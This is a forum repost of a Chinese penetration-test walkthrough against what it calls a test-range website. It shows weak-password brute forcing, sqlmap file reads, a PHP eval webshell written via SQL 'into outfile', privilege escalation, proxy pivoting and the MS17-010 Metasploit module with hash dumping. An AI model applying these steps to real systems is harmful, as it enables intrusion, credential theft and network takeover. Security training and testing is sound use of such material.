搜索

[28171] 2020-02-17_【渗透过程】嘉缘网站--测试+提权

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-19
2020-02-17_【渗透过程】嘉缘网站--测试+提权 【 渗 透 过 程 】 嘉 缘 网 站   - - 测 试 + 提 权 S h a d o w - G   O t s 安 全   2 0 2 0 - 0 2 - 1 7 声 明 声 明 ： 本 片 文 章 测 试 网 站 为 测 试 靶 场 信 息 收 集 阶 段 ： 首 先 使 用 了 一 些 常 见 的 扫 描 工 具 ： n m a p     御 剑 使 用 n m a p 扫 描 端 口   发 现 网 站 开 放 了   1 3 5   1 3 9   4 4 5   3 3 0 6   等 端 口 这 里 可 以 看 到 网 站 开 放 了 一 些 危 害 较 高 端 口 ： 1 3 5   2 2 5 等 使 用 御 剑 扫 描 到 一 些 敏 感 信 息 ： p h p i n f o 页 面     后 台 登 录 地 址 可 以 从 i n f o 页 面 直 接 看 到 网 站 的 配 置 信 息 ： 网 站 绝 对 路 径
当 访 问 I P + 8 0 端 口 发 现 有 探 针 ， 可 从 中 看 出 网 站 的 中 间 件 等 信 息 （ 这 里 的 p h p m y a d m i n 管 理 无 法 打 开 ）
测 试 阶 段 ： 测 试 阶 段 ： 信 息 收 集 完 成 后 开 始 进 一 步 测 试 针 对 网 站 进 行 手 工 测 试 在 用 户 登 录 处 发 现 ， 该 网 站 没 有 对 登 录 进 行 严 格 限 制 ， 而 且 可 以 通 过 返 回 错 误 信 息 发 现 网 站 存 在 哪 些 用 户 根 据 返 回 信 息 可 以 发 现 网 站 有 a d m i n 用 户 ， 尝 试 使 用 暴 力 破 解 使 用 工 具 ： B u r p S u i t e 对 用 户 名 为 a d m i n 的 用 户 进 行 暴 力 破 解   密 码 为 弱 口 令   ， 可 以 登 录 用 户
继 续 测 试 发 现 网 站 存 在 S Q L 注 入 尝 试 使 用 工 具 进 行 注 入 检 测 使 用 工 具 ： s q l m a p 经 过 注 入 发 现 网 站 后 台 的 用 户 名 及 密 码   ， p h p m y a d m i n 的 用 户 及 密 码 密 码 为 密 文 ， 尝 试 解 密 发 现 只 有 d a t a   和 k e f u 用 户 可 以 解 开 在 注 入 时 发 现 我 们 的 权 限 可 以 进 行 读 文 件 但 是 不 可 写 ， 尝 试 通 过 读 取 配 置 文 件 获 取 r o o t 密 码 读 取 文 件 需 要 网 站 绝 对 路 劲 ， 这 是 我 们 可 以 访 问 之 前 的 i n f o 页 面 ， 获 取 绝 对 路 径 尝 试 使 用 s q l m a p 进 行 读 取 文 件   ， 成 功 读 取 到 r o o t 密 码   （ 但 是 没 有 发 现 p h p m y a d m i n 的 页 面 ） s q l m a p   - u   " 注 入 点 的 U R L "     - - f i l e - r e a d   = “ 网 站 绝 对 路 径 / 读 取 的 文 件 “
在 前 端 无 法 和 会 员 登 录 后 无 法 找 到 漏 洞 ， 尝 试 登 陆 后 台 继 续 测 试 在 使 用 d a t a 用 户 登 录 后 发 现 为 普 通 权 限 在 后 台 对 每 项 功 能 进 行 测 试 发 现 有 一 个 执 行 s q l 语 句 的 模 块 尝 试 使 用 s q l 语 句 进 行 写 入 一 句 话 ， 发 现 写 入 成 功 s e l e c t   " < ? p h p   e v a l ( $ _ P O S T [ a p p l e ] ) ; ? > "   i n t o   o u t f i l e   " 网 站 绝 对 路 径 / 1 . p h p "     / / 1 . p h p   为 写 入 一 句 话 木 马 的 文 件 名 在 发 现 自 己 权 限 普 通 权 限 ， 尝 试 通 过 抓 包 获 取 包 信 息 ， 发 现 存 在 越 权 漏 洞 （ 垂 直 ） 使 用 工 具 ： b u r p 通 过 b u r p 抓 取 添 加 管 理 员 的 包 ， 修 改 f r _ a d m i n _ t y p e = m a n a g e     发 现 成 功 添 加 超 级 管 理 员 使 用 菜 刀 ( 蚁 剑 ) 连 接 写 入 的 一 句 话 这 里 讲 一 下 提 权 ， 假 如 权 限 不 高 ， 需 要 进 行 提 权
首 先 ： 查 看 服 务 器 的 操 作 系 统 如 果 这 里 为 w i n 2 0 0 3 ， 可 以 找 台 2 0 0 3 的 机 器 把 c m d . e x e 程 序 上 传 到 目 标 服 务 器 跳 到 该 目 录 下 执 行 c m d   你 会 发 现 权 限 权 限 有 所 提 升 ， 可 以 执 行 一 下 基 础 命 令 ， 但 是 还 是 无 法 执 行 新 建 用 户 ， 开 启 3 3 8 9 端 口 等 命 令 这 时 我 们 只 需 上 传 提 权 工 具 如 p r   巴 西 烤 肉 等 使 用 提 取 权 工 具 进 行 命 令 的 执 行 ， 这 样 我 们 就 达 到 提 权 的 目 的 接 着 上 篇 ， 当 我 们 使 用 蚁 剑 进 行 执 行 D o s 命 令 发 现 目 标 服 务 器 存 在 2 块 网 卡 （ 这 里 蚁 剑 如 果 无 法 执 行 命 令 ， 可 以 上 传 一 个 大 马 ） 而 且 发 现 在 2 3 8 段 下 还 有 内 网 服 务 器 a r p   - a 需 要 进 行 挂 代 理 ， 只 有 这 样 才 能 对 内 网 服 务 器 进 行 测 试 代 理 设 置 ：
( 因 为 要 对 内 网 进 行 其 他 操 作 ， 所 有 这 里 只 介 绍 如 何 给 k a l i 进 行 代 理 设 置 ) 首 先 安 装 ： 安 装 插 件 安 装 完 成 后 这 里 需 要 通 过 菜 刀 或 蚁 剑 上 传 所 需 的 文 件 （ 网 站 为 p h p 站 这 里 上 传 t u n n e l . p h p ） 上 传 成 功 后 进 行 监 听   ， 监 听 的 终 端 不 能 关 需 要 一 直 开 启
再 次 开 启 一 个 终 端     修 改 配 置 文 件 把 d y n a m i c _ c h a i n 前 的 # 删 掉 同 时 在 最 下 方 加 入     s o c k s 5   1 2 7 . 0 . 0 . 1   9 6 3 2 （ 这 里 的 9 6 3 2 为 你 上 方 监 听 的 端 口 ） 之 后 退 出 保 存 通 过 打 开 的 网 页 访 问 内 网 I P   1 9 2 . 1 6 8 . 2 3 8 . 1 2 8     这 时 进 行 监 听 的 终 端 开 始 跑 了 并 成 功 显 示 探 针   说 明 代 理 设 置 成 功
如 果 监 听 的 终 端 没 有 变 化 ， 网 页 也 没 显 示 ， 需 要 进 行 以 下 操 作 ， 之 后 再 次 从 终 端 打 开 浏 览 器 如 果 还 不 成 功 ， 请 关 机 ， 从 新 启 动 一 下 k a l i   （ 修 改 的 配 置 没 有 运 行 成 功 ， 需 要 重 启 ） 添 加 路 由   r o u t e   a d d   - n e t   1 9 2 . 1 6 8 . 9 0 . 0   n e t m a s k   2 5 5 . 2 5 5 . 2 5 5 . 0   d e v   e t h 0 r o u t e   a d d   - n e t   1 9 2 . 1 6 8 . 8 0 . 0   n e t m a s k   2 5 5 . 2 5 5 . 2 5 5 . 0   d e v   e t h 0 r o u t e   a d d   - n e t   1 9 2 . 1 6 8 . 9 0 . 0 / 2 4   g w   1 9 2 . 1 6 8 . 9 0 . 1 删 除 路 由   r o u t e   d e l   - n e t   1 9 2 . 1 6 8 . 8 0 . 0   n e t m a s k   2 5 5 . 2 5 5 . 2 5 5 . 0   d e v   e t h 0 　 　 内 网 渗 透 内 网 渗 透 针 对 4 4 5 端 口 代 理 成 功 后 ， 每 此 执 行 命 令 或 使 用 软 件 时   在 命 令 前 加 上   p r o x y c h a i n s 之 后 使 用 n m a p 开 始 对   1 9 2 . 1 6 8 . 2 3 8 . 1 2 9       1 2 9 . 1 6 8 . 2 3 8 . 1 3 0   进 行 端 口 扫 描 p r o x y c h a i n s   n m a p   - v v v   - n   - s T   - P N   1 9 2 . 1 6 8 . 2 3 8 . 1 2 9 p r o x y c h a i n s   n m a p   - v v v   - n   - s T   - P N   1 9 2 . 1 6 8 . 2 3 8 . 1 3 0 发 现 2 个 都 开 1 3 5   1 3 9   4 4 5 端 口     这 里 只 对 4 4 5 进 行       1 9 2 . 1 6 8 . 2 3 8 . 1 2 9
1 9 2 . 1 6 8 . 2 3 8 . 1 3 0 对 1 9 2 . 1 6 8 . 2 3 8 . 1 2 9 : 4 4 5   使 用 k a l i 的 工 具       p r o x y c h a i n s   m s f c o n s o l e       / / 启 动 M S F 终 端 使 用 攻 击 模 块 s e a r c h       o p t i o n     / / 搜 索 相 关 工 具 和 攻 击 载 荷 u s e     u s e   e x p l o i t / w i n d o w s / s m b / m s 1 7 _ 0 1 0 _ p s e x e c     / / 启 动 该 模 块 s h o w   o p t i o n s         / / 查 看 相 关 信 息 s e t   R H O S T     目 标 I P s e t   L H O S T     本 机 I P s e t   t h r e a d s   端 口 e x p l o i t       / / 执 行   或 者 用 r u n 执 行 成 功 后 会 返 回 m e t e r p r e t e r     当 执 行 命 令 有 可 能 不 会 回 显 ， 因 为 有 代 理 有 可 能 返 回 的 包 会 丢 失   但 是 命 令 会 执 行 我 们 尝 试 直 接 利 用   g e t u i d   和   g e t s y s t e m   命 令 来 提 权 使 用 命 令 获 取 h a s h 值
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理